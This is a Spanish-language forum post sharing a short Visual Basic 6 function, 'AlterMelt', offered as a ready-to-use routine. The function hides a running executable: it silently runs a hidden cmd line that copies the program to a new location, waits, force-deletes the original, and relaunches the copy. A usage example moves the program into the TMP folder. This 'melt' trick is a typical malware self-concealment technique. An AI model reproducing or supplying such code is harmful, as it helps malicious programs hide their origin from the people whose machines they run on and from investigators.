Simplente es una alternativa a crear un Bat en el disco, lo hace todo 'on the fly'
Código
Option Explicit Private Declare Function WinExec Lib "kernel32.dll" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long Private Declare Function GetModuleFileName Lib "kernel32.dll" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long '--------------------------------------------------------------------------------------- ' Procedimiento : AlterMelt ' Autor : Karcrack ' Fecha : 27/01/2009 ' Parametro(s) : ' sNewPath [in] -> La nueva ruta para el fichero al que se le aplicara el Melt ' sPath [in,optional] -> La ruta del fichero al que se le aplicara el Melt. ' Si es NULL se aplicara a la aplicacion propia (= ' dMs [in,optional] -> Es el tiempo en segundos de espera entre la copia ' y la eliminacion del fichero. Por defecto 1 seg. ' ' Return : Devuelve True si la ejecucion del comando ha sido satisfactoria. '--------------------------------------------------------------------------------------- Public Function AlterMelt(ByVal sNewPath As String, Optional ByVal sPath As String, Optional ByVal dSec As Double = 2) As Boolean Dim sCmd As String If (sPath = vbNullString) Then If (App.LogMode = 0) Then Exit Function 'No queremos aplicar Melt a nuestro VS xD sPath = Space$(260) 'MAX_PATH = 260 sPath = Left$(sPath, GetModuleFileName(0&, sPath, Len(sPath))) End If sCmd = "CMD /D /C " & "copy " & Chr$(34) & sPath & Chr$(34) & " " & Chr$(34) & sNewPath & Chr$(34) & " & " & _ IIf((dSec > 0), "ping 0.0.0.0 -n " & dSec & " & ", vbNullString) & _ "del /F /Q " & Chr$(34) & sPath & Chr$(34) & " & " & _ Chr$(34) & sNewPath & Chr$(34) & " & " & _ "exit" AlterMelt = (WinExec(sCmd, 0&) > 31) 'SW_HIDE As Long = 0 End Function
Creo que todo el mundo sabe lo que es el Melt no?
Esta seria la forma de usarlo:
Código
Call AlterMelt(Environ$("TMP") & App.EXEName & ".exe", vbNullString, 5) End
Saludos, espero que os sea de utilidad